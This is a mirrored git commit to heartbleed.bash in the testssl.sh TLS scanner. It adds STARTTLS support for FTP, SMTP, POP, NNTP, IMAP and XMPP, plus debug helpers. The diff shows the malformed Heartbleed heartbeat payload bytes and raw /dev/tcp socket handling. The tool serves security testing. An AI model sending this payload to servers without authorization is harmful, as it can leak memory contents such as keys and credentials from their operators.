mirror of
https://github.com/drwetter/testssl.sh.git
synced 2025-10-31 13:55:25 +01:00
* protocol checks work now!
* generic jabber support now! * jabber domain support
This commit is contained in:
Dirk Wetter
@@ -6,6 +6,8 @@
|
||||
# sockets inspired by http://blog.chris007.de/?p=238
|
||||
# heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280
|
||||
#
|
||||
# handshakes from RFCs. Good source too: https://github.com/ioerror/sslscan/blob/master/sslscan.c
|
||||
#
|
||||
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
|
||||
|
||||
readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
|
||||
@@ -15,14 +17,17 @@ trap "cleanup" QUIT EXIT
|
||||
|
||||
NODE="$1"
|
||||
PORT="443"
|
||||
JABBERNODE=${JABBERNODE}
|
||||
SLEEP=2
|
||||
MAXSLEEP=10
|
||||
SOCKREPLY=""
|
||||
COL_WIDTH=32
|
||||
DEBUG=${DEBUG:-0}
|
||||
|
||||
# TLS 1.0=x01 1.1=0x02, 1.2=0x3
|
||||
TLSV=${2:-01}
|
||||
|
||||
|
||||
heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00"
|
||||
## ^^^^^^^ this is the whole thing!
|
||||
|
||||
@@ -90,6 +95,11 @@ parse_hn_port() {
|
||||
echo -e "\n===> connecting to $NODE:$PORT\n"
|
||||
}
|
||||
|
||||
debugme() {
|
||||
[[ $DEBUG -ge 2 ]] && "$@"
|
||||
}
|
||||
|
||||
|
||||
wait_kill(){
|
||||
pid=$1
|
||||
maxsleep=$2
|
||||
@@ -124,33 +134,37 @@ sockread() {
|
||||
wait_kill $! $maxsleep
|
||||
ret=$?
|
||||
SOCKREPLY=$(cat $ddreply)
|
||||
rm $ddreply
|
||||
[ $DEBUG -eq 0 ] && rm $ddreply
|
||||
|
||||
return $ret
|
||||
}
|
||||
|
||||
# arg1: string to send
|
||||
# arg2: success string, yet to be parsed
|
||||
starttls_line0() {
|
||||
echo "$1" >&5
|
||||
|
||||
starttls_just_read(){
|
||||
echo "=== just read banner ==="
|
||||
cat <&5 &
|
||||
wait_kill $! $SLEEP
|
||||
#[ $? -eq 3 ] && fixme "STARTTLS timed out" && exit 1
|
||||
}
|
||||
|
||||
starttls_line2() {
|
||||
# arg1: string to send
|
||||
# arg2: possible success strings a egrep pattern, needed!
|
||||
starttls_line0() {
|
||||
reply=$(mktemp /tmp/reply.XXXXXX) || return 7
|
||||
echo "$1" >&5
|
||||
dd bs=1024 of=$reply count=1 <&5 2>/dev/null &
|
||||
|
||||
debugme echo -e "\n=== sending \"$1\" ..."
|
||||
echo -e "$1" >&5
|
||||
dd bs=1024 of=$reply count=32 <&5 2>/dev/null &
|
||||
wait_kill $! $SLEEP
|
||||
debugme echo "... received result: "
|
||||
cat $reply
|
||||
return 0
|
||||
if [ -n "$2" ]; then
|
||||
if grep -q "$2" $reply; then
|
||||
if egrep -q "$2" $reply; then
|
||||
debugme echo "---> reply matched \"$2\""
|
||||
[ $DEBUG -eq 0 ] && rm $reply
|
||||
return 0
|
||||
else
|
||||
debugme echo "---> reply didn't match \"$2\", see $reply"
|
||||
fixme "STARTTLS handshake problem"
|
||||
#FIXME: handshake antworten kommen irgendwie 1x verzeogert
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
@@ -171,6 +185,8 @@ fixme(){
|
||||
|
||||
|
||||
fd_socket(){
|
||||
local jabber=""
|
||||
|
||||
if ! exec 5<> /dev/tcp/$NODE/$PORT; then
|
||||
echo "`basename $0`: unable to connect to $NODE:$PORT"
|
||||
exit 2
|
||||
@@ -178,37 +194,60 @@ fd_socket(){
|
||||
|
||||
case "$1" in # port
|
||||
21) # https://tools.ietf.org/html/rfc4217
|
||||
starttls_line0 "FEAT"
|
||||
starttls_line0 "AUTH TLS" "successful"
|
||||
starttls_just_read
|
||||
starttls_line0 "FEAT" "211"
|
||||
#starttls_line0 HELP "214"
|
||||
starttls_line0 "AUTH TLS" "successful|234"
|
||||
;;
|
||||
25) #https://tools.ietf.org/html/rfc4217
|
||||
starttls_line0 "EHLO testssl.sh" "250"
|
||||
25) # SMTP, see https://tools.ietf.org/html/rfc4217
|
||||
starttls_just_read
|
||||
starttls_line0 "EHLO testssl.sh" "220|250"
|
||||
starttls_line0 "STARTTLS" "220"
|
||||
;;
|
||||
110) # https://tools.ietf.org/html/rfc2595
|
||||
110) # POP, see https://tools.ietf.org/html/rfc2595
|
||||
starttls_just_read
|
||||
starttls_line0 "STLS" "OK"
|
||||
;;
|
||||
119|433) # https://tools.ietf.org/html/rfc4642
|
||||
starttls_line0 "CAPABILITIES" "101"
|
||||
119|433) # NNTP, see https://tools.ietf.org/html/rfc4642
|
||||
starttls_just_read
|
||||
starttls_line0 "CAPABILITIES" "101|200"
|
||||
starttls_line0 "STARTTLS" "382"
|
||||
;;
|
||||
143) # https://tools.ietf.org/html/rfc2595
|
||||
143) # IMAP, https://tools.ietf.org/html/rfc2595
|
||||
starttls_just_read
|
||||
starttls_line0 "a001 CAPABILITY" "OK"
|
||||
starttls_line0 "a002 STARTTLS" "OK"
|
||||
;;
|
||||
389) # https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
|
||||
389) # LDAP, https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
|
||||
fixme "LDAP: FIXME not yet implemented"
|
||||
exit 1
|
||||
;;
|
||||
674) # https://tools.ietf.org/html/rfc2595
|
||||
674) # ACAP = Application Configuration Access Protocol, see https://tools.ietf.org/html/rfc2595
|
||||
fixme "ACAP: FIXME not yet implemented"
|
||||
exit 1
|
||||
;;
|
||||
5222)
|
||||
5222) # XMPP, see https://tools.ietf.org/html/rfc6120
|
||||
starttls_just_read
|
||||
# following would be without hostname, jabber.org doesn't need it, others do!
|
||||
#starttls_line0 "<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' version='1.0'>\r\n"
|
||||
[ -z $JABBERNODE ] && JABBERNODE="$NODE"
|
||||
# as ioerror says: $NODE is not always the correct one, some jabber implementations need a special hostname!
|
||||
# supply $JABBERNODE in ENV and you're set, like: DEBUG=2 JABBERNODE=google.com ./heartbleed.bash talk.google.com:5222
|
||||
jabber=$(cat <<EOF
|
||||
<?xml version='1.0' ?>
|
||||
<stream:stream
|
||||
xmlns:stream='http://etherx.jabber.org/streams'
|
||||
xmlns='jabber:client'
|
||||
to='$JABBERNODE'
|
||||
xml:lang='en'
|
||||
version='1.0'>
|
||||
EOF
|
||||
)
|
||||
starttls_line0 "$jabber"
|
||||
starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
|
||||
fixme "XMPP: FIXME not yet implemented"
|
||||
# BTW: https://xmpp.net !
|
||||
;;
|
||||
443|995|993|465|*) # we don't need a special command here
|
||||
443|995|993|465|*) # we don't need a special pre-command here
|
||||
;;
|
||||
esac
|
||||
echo
|
||||
@@ -263,5 +302,5 @@ echo
|
||||
|
||||
exit $ret
|
||||
|
||||
# vim:tw=100:ts=5:sw=5:expandtab
|
||||
# $Id: heartbleed.bash,v 1.12 2015/07/01 11:26:10 dirkw Exp $
|
||||
# vim:tw=200:ts=5:sw=5:expandtab
|
||||
# $Id: heartbleed.bash,v 1.14 2015/07/06 19:26:38 dirkw Exp $
|
||||
|
||||
Reference in New Issue
Block a user